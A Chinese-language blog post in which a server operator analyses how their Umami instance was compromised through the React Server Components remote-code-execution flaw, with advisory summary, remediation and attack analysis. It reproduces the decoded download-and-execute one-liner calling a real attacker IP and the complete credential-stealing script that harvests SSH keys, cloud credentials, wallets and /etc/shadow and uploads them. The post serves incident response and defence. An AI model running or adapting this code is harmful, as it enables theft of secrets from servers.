云霞资讯网

安全漏洞核弹|又一个CVSS10.0满分的安全漏洞爆发|我的服务被攻击了,拆解攻击过程

我收到阿里云ECS存在安全风险提示,是umami被攻击执行了异常内容。而这个漏洞却是因为上游 Nextjs 以及更上游的

我收到阿里云ECS存在安全风险提示,是 umami 被攻击执行了异常内容。而这个漏洞却是因为上游 Nextjs 以及更上游的 React 存在漏洞导致的,CVSS评分10.0满分,这是一个可以比拟当年 Log4j 的安全核弹,影响涉及next, react-router, waku, @parcel/rsc, @vitejs/plugin-rsc, 以及 rwsdk,等下游项目。

• 漏洞说明

• 核心攻击目标

• 对我的影响

• 攻击过程分析

• 攻击脚本内容

漏洞说明

Umami 存在安全漏洞被被攻击的原因是 Umami 服务使用了 Nextjs 框架存在漏洞 CVE-2025-66478[1],该漏洞 CVSS10.0 满分。

Nextjs 的安全漏洞是因为 Nextjs 框架的使用 React Server Components (RSC) 协议存在漏洞 CVE-2025-55182[2],该漏洞 CVSS10.0 满分。

React 在2025/12/3发布了漏洞说明[3]

11月29日,Lachlan Davidson报告了React中的一个安全漏洞,该漏洞允许通过利用React解码发送到React服务器功能端点的有效负载的缺陷来执行未经身份验证的远程代码。

即使您的应用没有实现任何React Server函数端点,如果您的应用支持React Server组件,它仍然可能容易受到攻击。

此漏洞被披露为CVE-2025-55182评级为CVSS 10.0。

影响范围

该漏洞存在于以下版本的19.0、19.1.0、19.1.1和19.2.0中:

• react-server-dom-webpack

• react-server-dom-parcel

• react-server-dom-turbopack

受影响的框架和相关程序

具有对等依赖关系,或包含易受攻击的React包。以下React框架和关联程序受到影响next, react-router, waku, @parcel/rsc, @vitejs/plugin-rsc, 以及 rwsdk.

漏洞概述

React服务器功能允许客户端调用服务器上的函数。React提供了框架和捆绑程序用来帮助React代码在客户端和服务器上运行的集成点和工具。React将客户端上的请求转换为转发到服务器的HTTP请求。在服务器上,React将HTTP请求转换为函数调用,并将所需的数据返回给客户端。

未经身份验证的攻击者可以向任何服务器函数端点发出恶意HTTP请求,当React反序列化时,该端点会在服务器上实现远程代码执行。修复完成后,将提供该漏洞的更多详细信息。

我认为这次漏洞可以称之为又一次的安全漏洞核弹,主要是因为React的这些存在漏洞在软件是很多流行开源项目的基础依赖,影响涉及nextjs,react,vite等。

并且,就 CVSS 10.0 的评分,当年的 Log4j 漏洞就是典型参考:

• Log4Shell (CVE-2021-44228):Apache Log4j 库中的远程代码执行漏洞,影响范围极广,利用简单,危害巨大。

核心攻击目标

主要攻击的目标是:

• 加密货币钱包:针对Solana、比特币钱包。用于窃取加密货币钱包。

• 云服务凭证:AWS、阿里云、腾讯云等。利用云凭证创建资源进行挖矿或发起攻击。

• SSH密钥:可用于后续服务器入侵。

• 配置文件:各类服务的敏感配置。获取数据库连接字符串、API密钥等。

• 系统敏感信息:可用于提权攻击。

• 数据泄露:获取数据库连接字符串、API密钥等。

• 持久化访问:建立后门,长期控制服务器。

该脚本的动作目标会导致服务器上核心敏感数据泄露,并可进一步攻击服务器所在整个机房或公司的其他的服务器,危害巨大。

对我的影响

已经检测到被攻击的是 Umami 服务,目前 Umami 官方也在第一时间紧急发布了漏洞修复版本 v3.0.2[4] 和 v2.20.1[5]

我已经通过升级到 v3.0.2 解决该安全漏洞。

幸运的是本次攻击对我的影响很小,主要是因为我使用的 Docker 容器镜像,文件系统与ECS机器隔离,所以一些云平台的配置和SSH证书之类的无法获取。

根据这个攻击的逻辑的分析,我容器的ENV环境变量信息被盗取了,里面有敏感的 PostgreSQL 的账号和密码信息。由于我使用的是私有网地址,所以无法直接访问,因此影响很小。

但是密码泄露让我不安,所以接下来要更换密码,我的PostgreSQL是多个项目公用的所以更换密码会需要一些时间。

如果你也使用 Umami,并且是基于容器运行的,我们这里有官方修复后镜像可以 docker pull 下载,

• harbor.cncfstack.com/docker.io/umamisoftware/umami:3.0.2

• harbor.cncfstack.com/docker.io/umamisoftware/umami:mysql-v2.20.1

• harbor.cncfstack.com/docker.io/umamisoftware/umami:postgres-v2.20.1

需要注意的是 umami:3.0.2 支持ARM64和AMD64,而 umami:mysql-v2.20.1 和 umami:postgres-v2.20.1 只支持AMD64。

攻击过程分析系统异常进程

我收到了异常监控的告警,运行在阿里云的ECS服务器存在一个异常进程启动,我看告警中的进程树如图:

告警漏洞

图中核心最后一个是 /bin/sh 指令,执行一个 echo 命令进行进一步的 bash 执行。这个echo的字符串经过 base64 -d 解密后的结果是个 shell 脚本

(command -v curl >/dev/null 2>&1 && curl -s http://47.77.204.248/index | bash) || (command -v wget >/dev/null 2>&1 && wget -q -O- http://47.77.204.248/index | bash) || (command -v python3 >/dev/null 2>&1 && python3 -c "import urllib.request as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('http://47.77.204.248/index').read())") || (command -v python >/dev/null 2>&1 && python -c "import urllib2 as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('http://47.77.204.248/index').read())")

该命令会依次尝试使用 curl、wget、python3 或 python 从 http://47.77.204.248/index 下载一个脚本,并通过 bash 执行该下载的脚本。

这里做了多种类型的下载工具判断,主要目的是为了更好的兼容性,使在更多的设备上可以获取到该shell脚本。

攻击脚本内容分析

http://47.77.204.248/index 获取的脚本是一个恶意信息收集脚本,在文章最后附完整脚本内容:

其功能是窃取服务器上的敏感数据并发送到远程攻击者服务器。以下是详细分析:

主要功能分析:

1. 敏感文件窃取。脚本会收集以下类型的敏感文件

• 配置文件:.env、.git/config、Docker配置等

• 密钥文件:Solana钱包(.config/solana/id.json)、比特币钱包(.bitcoin/wallet.dat)

• 云服务凭证:AWS、阿里云、腾讯云、Google Cloud、Kubernetes配置

• SSH密钥:.ssh目录下所有文件

• 系统敏感文件:/etc/passwd、/etc/shadow

2. 按模式搜索敏感文件。在用户目录中搜索包含特定关键词的文件

• _history:Bash历史文件等

• credential、password:凭证文件

• private、key、.pem:私钥文件

• config、wallet:配置文件和钱包文件

3. 系统信息收集

• 主机名和操作系统信息

• 环境变量

• 网络配置和IP地址

• 进程列表(ps aux)

• 网络连接信息(netstat -anpt)

4. 数据回传机制。脚本将收集的所有信息保存到本地文件({主机名}_{时间戳}.txt),然后通过多种方式上传到攻击者服务器

• 尝试使用 curl 上传

• 如果失败,尝试 wget

• 再失败则使用 python3

• 最后使用 python2

上传地址为:http://47.77.204.248/upload

5. 隐蔽操作

• 上传成功后删除本地生成的报告文件

• 使用多种上传方法确保成功率

• 文件大小限制为1MB以下,避免大文件引起注意

IP地址分析

对于 http://47.77.204.248 中 IP 地址的分析,可以查看其归属是 阿里云在美国的数据中心。

我已经通过阿里云工单进行反馈。

攻击脚本内容

http://47.77.204.248/index 的脚本内容

#!/bin/bash# Monitor script configurationSERVER_URL="http://47.77.204.248/upload"HOSTNAME=$(hostname)TIMESTAMP=$(date '+%Y%m%d_%H%M%S')OUTPUT_FILE="${HOSTNAME}_${TIMESTAMP}.txt"# File names to monitorFILE_NAMES=(    ".env"    ".docker/config.json"    ".git/config"    ".config/solana/id.json"    ".bitcoin/wallet.dat"    ".arbitrum/mainnet/config.yaml"    ".electrum/config")# Filename patterns to search in user directories (files containing these strings)MONITOR_PATTERNS=(    "_history"    "credential"    "password"    "config"    "private"    "key"    ".pem"    "wallet")# Directory names to monitor in user home directoriesMONITOR_DIRS=(    ".ssh"    ".aws"    ".aliyun"    ".hcloud"    ".tccli"    ".config/gcloud"    ".kube")# Generate file list from /root and /home/*/MONITORED_FILES=()REPORT_DIRS=()USER_DIRS=()# Add /root as a user directoryUSER_DIRS+=("/root")# Add files from /rootfor fname in "${FILE_NAMES[@]}"; do    MONITORED_FILES+=("/root/$fname")doneMONITORED_FILES+=("/etc/passwd")MONITORED_FILES+=("/etc/shadow")# Add monitor directories from /root if they existfor dir_name in "${MONITOR_DIRS[@]}"; do    if [ -d "/root/$dir_name" ]; then        REPORT_DIRS+=("/root/$dir_name")    fidone# Add files from all users in /homeif [ -d "/home" ]; then    for user_dir in /home/*; do        if [ -d "$user_dir" ]; then            USER_DIRS+=("$user_dir")            for fname in "${FILE_NAMES[@]}"; do                MONITORED_FILES+=("$user_dir/$fname")            done            # Add monitor directories if they exist            for dir_name in "${MONITOR_DIRS[@]}"; do                if [ -d "$user_dir/$dir_name" ]; then                    REPORT_DIRS+=("$user_dir/$dir_name")                fi            done        fi    donefi# Start reportecho "========================================" > "$OUTPUT_FILE"echo "Monitor Report - $HOSTNAME" >> "$OUTPUT_FILE"echo "Time: $(date '+%Y-%m-%d %H:%M:%S')" >> "$OUTPUT_FILE"echo "========================================" >> "$OUTPUT_FILE"echo "" >> "$OUTPUT_FILE"# System informationecho "" >> "$OUTPUT_FILE"echo "===== Basic System Information =====" >> "$OUTPUT_FILE"echo "Hostname: $HOSTNAME" >> "$OUTPUT_FILE"echo "" >> "$OUTPUT_FILE"echo "Operating System:" >> "$OUTPUT_FILE"if [ -f /etc/os-release ]; then    cat /etc/os-release >> "$OUTPUT_FILE" 2>&1elif [ -f /etc/redhat-release ]; then    cat /etc/redhat-release >> "$OUTPUT_FILE" 2>&1elif [ -f /etc/debian_version ]; then    echo "Debian $(cat /etc/debian_version)" >> "$OUTPUT_FILE" 2>&1else    uname -a >> "$OUTPUT_FILE" 2>&1fiecho "" >> "$OUTPUT_FILE"echo "Kernel Version:" >> "$OUTPUT_FILE"uname -r >> "$OUTPUT_FILE" 2>&1echo "" >> "$OUTPUT_FILE"echo "Environment:" >> "$OUTPUT_FILE"env >> "$OUTPUT_FILE" 2>&1echo "" >> "$OUTPUT_FILE"echo "Network Interfaces and IP Addresses:" >> "$OUTPUT_FILE"if command -v ip >/dev/null 2>&1; then    ip addr show >> "$OUTPUT_FILE" 2>&1elif command -v ifconfig >/dev/null 2>&1; then    ifconfig -a >> "$OUTPUT_FILE" 2>&1else    echo "No ip or ifconfig command available" >> "$OUTPUT_FILE"fiecho "" >> "$OUTPUT_FILE"# List user home directoriesecho "" >> "$OUTPUT_FILE"echo "" >> "$OUTPUT_FILE"echo "===== User Home Directories (ls -al) =====" >> "$OUTPUT_FILE"for user_dir in "${USER_DIRS[@]}"; do    if [ -d "$user_dir" ]; then        echo "" >> "$OUTPUT_FILE"        echo "--- Directory: $user_dir ---" >> "$OUTPUT_FILE"        ls -al "$user_dir" >> "$OUTPUT_FILE" 2>&1    fi    echo "" >> "$OUTPUT_FILE"done# Read history files and monitor_log files from user directoriesecho "" >> "$OUTPUT_FILE"echo "" >> "$OUTPUT_FILE"echo "===== History and Monitor Log Files =====" >> "$OUTPUT_FILE"for user_dir in "${USER_DIRS[@]}"; do    if [ -d "$user_dir" ]; then        echo "" >> "$OUTPUT_FILE"        echo "--- Scanning directory: $user_dir ---" >> "$OUTPUT_FILE"                # Enable dotglob to match hidden files        shopt -s dotglob nullglob                        # Find files containing patterns from MONITOR_PATTERNS        for pattern in "${MONITOR_PATTERNS[@]}"; do            for file in "$user_dir"/*"$pattern"*; do                if [ -f "$file" ]; then                    # Check file size (less than 1MB = 1048576 bytes)                    file_size=$(stat -c%s "$file" 2>/dev/null || stat -f%z "$file" 2>/dev/null)                    if [ "$file_size" -lt 1048576 ]; then                        echo "" >> "$OUTPUT_FILE"                        echo ">>> File: $file (Size: $file_size bytes) <<<" >> "$OUTPUT_FILE"                        echo "" >> "$OUTPUT_FILE"                        cat "$file" >> "$OUTPUT_FILE" 2>&1                        echo "" >> "$OUTPUT_FILE"                        echo ">>> End of file: $(basename "$file") <<<" >> "$OUTPUT_FILE"                    else                        echo "" >> "$OUTPUT_FILE"                        echo ">>> File: $file (Size: $file_size bytes - SKIPPED, larger than 1MB) <<<" >> "$OUTPUT_FILE"                    fi                fi            done        done                # Disable dotglob        shopt -u dotglob nullglob    fi    echo "" >> "$OUTPUT_FILE"done# Read monitored filesecho "" >> "$OUTPUT_FILE"echo "" >> "$OUTPUT_FILE"echo "===== File Contents =====" >> "$OUTPUT_FILE"for file in "${MONITORED_FILES[@]}"; do            if [ -f "$file" ]; then        echo "" >> "$OUTPUT_FILE"        echo "--- File: $file ---" >> "$OUTPUT_FILE"        cat "$file" >> "$OUTPUT_FILE" 2>&1            fi    echo "" >> "$OUTPUT_FILE"done# Read .report directoriesecho "" >> "$OUTPUT_FILE"echo "" >> "$OUTPUT_FILE"echo "===== Monitor Directory Contents =====" >> "$OUTPUT_FILE"for report_dir in "${REPORT_DIRS[@]}"; do    if [ -d "$report_dir" ]; then        # List files in the directory        echo "" >> "$OUTPUT_FILE"        echo "--- Directory: $report_dir ---" >> "$OUTPUT_FILE"        echo "Files in directory:" >> "$OUTPUT_FILE"        ls -lh "$report_dir" >> "$OUTPUT_FILE" 2>&1        echo "" >> "$OUTPUT_FILE"                # Read each file in the directory        for report_file in "$report_dir"/*; do            if [ -f "$report_file" ]; then                echo "" >> "$OUTPUT_FILE"                echo ">>> File: $(basename "$report_file") <<<" >> "$OUTPUT_FILE"                echo "" >> "$OUTPUT_FILE"                cat "$report_file" >> "$OUTPUT_FILE" 2>&1                echo "" >> "$OUTPUT_FILE"                echo ">>> End of file: $(basename "$report_file") <<<" >> "$OUTPUT_FILE"            fi        done    fi    echo "" >> "$OUTPUT_FILE"done# Execute ps aux commandecho "" >> "$OUTPUT_FILE"echo "" >> "$OUTPUT_FILE"echo "===== Process List (ps aux) =====" >> "$OUTPUT_FILE"ps aux >> "$OUTPUT_FILE" 2>&1echo "" >> "$OUTPUT_FILE"# Execute netstat -anpt commandecho "" >> "$OUTPUT_FILE"echo "" >> "$OUTPUT_FILE"echo "===== Network Connections (netstat -anpt) =====" >> "$OUTPUT_FILE"netstat -anpt >> "$OUTPUT_FILE" 2>&1echo "" >> "$OUTPUT_FILE"# Function to upload with curlupload_with_curl() {    curl -X POST \        -F "file=@${OUTPUT_FILE}" \        -F "hostname=${HOSTNAME}" \        -F "timestamp=${TIMESTAMP}" \        --connect-timeout 10 \        --max-time 60 \        "${SERVER_URL}"    return $?}# Function to upload with wgetupload_with_wget() {    wget --post-file="${OUTPUT_FILE}" \        --timeout=60 \        --tries=1 \        -O - \        "${SERVER_URL}?hostname=${HOSTNAME}&timestamp=${TIMESTAMP}"    return $?}# Function to upload with python3upload_with_python3() {    python3 << EOFimport systry:    import urllib.request    import urllib.parse        with open('${OUTPUT_FILE}', 'rb') as f:        data = f.read()        boundary = '----WebKitFormBoundary' + ''.join([chr(i) for i in range(97, 123)])    body = (        '--' + boundary + '\r\n' +        'Content-Disposition: form-data; name="file"; filename="$(basename ${OUTPUT_FILE})"\r\n' +        'Content-Type: application/octet-stream\r\n\r\n'    ).encode() + data + (        '\r\n--' + boundary + '\r\n' +        'Content-Disposition: form-data; name="hostname"\r\n\r\n' +        '${HOSTNAME}\r\n' +        '--' + boundary + '\r\n' +        'Content-Disposition: form-data; name="timestamp"\r\n\r\n' +        '${TIMESTAMP}\r\n' +        '--' + boundary + '--\r\n'    ).encode()        req = urllib.request.Request('${SERVER_URL}', data=body)    req.add_header('Content-Type', 'multipart/form-data; boundary=' + boundary)        response = urllib.request.urlopen(req, timeout=60)    print(response.read().decode())    sys.exit(0)except Exception as e:    print(f"Error: {e}", file=sys.stderr)    sys.exit(1)EOF    return $?}# Function to upload with python (python2)upload_with_python() {    python << EOFimport systry:    import urllib2    import os        with open('${OUTPUT_FILE}', 'rb') as f:        data = f.read()        boundary = '----WebKitFormBoundary' + 'abcdefghijklmnop'    body = (        '--' + boundary + '\r\n' +        'Content-Disposition: form-data; name="file"; filename="' + os.path.basename('${OUTPUT_FILE}') + '"\r\n' +        'Content-Type: application/octet-stream\r\n\r\n'    ) + data + (        '\r\n--' + boundary + '\r\n' +        'Content-Disposition: form-data; name="hostname"\r\n\r\n' +        '${HOSTNAME}\r\n' +        '--' + boundary + '\r\n' +        'Content-Disposition: form-data; name="timestamp"\r\n\r\n' +        '${TIMESTAMP}\r\n' +        '--' + boundary + '--\r\n'    )        req = urllib2.Request('${SERVER_URL}', data=body)    req.add_header('Content-Type', 'multipart/form-data; boundary=' + boundary)        response = urllib2.urlopen(req, timeout=60)    print response.read()    sys.exit(0)except Exception as e:    print >> sys.stderr, "Error:", str(e)    sys.exit(1)EOF    return $?}# Try uploading with available toolsUPLOAD_SUCCESS=0if command -v curl >/dev/null 2>&1; then    if upload_with_curl; then        UPLOAD_SUCCESS=1    fifiif [ $UPLOAD_SUCCESS -eq 0 ] && command -v wget >/dev/null 2>&1; then    if upload_with_wget; then        UPLOAD_SUCCESS=1    fifiif [ $UPLOAD_SUCCESS -eq 0 ] && command -v python3 >/dev/null 2>&1; then    if upload_with_python3; then        UPLOAD_SUCCESS=1    fifiif [ $UPLOAD_SUCCESS -eq 0 ] && command -v python >/dev/null 2>&1; then    if upload_with_python; then        UPLOAD_SUCCESS=1    fifiif [ $UPLOAD_SUCCESS -eq 1 ]; then    rm -f "$OUTPUT_FILE"    exit 0else    exit 1fi

引用链接

[1] CVE-2025-66478: https://nextjs.org/blog/CVE-2025-66478[2] CVE-2025-55182: https://www.cve.org/CVERecord?id=CVE-2025-55182[3] 漏洞说明: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components[4] v3.0.2: https://github.com/umami-software/umami/releases/tag/[5] v2.20.1: https://github.com/umami-software/umami/releases/tag/v2.20.1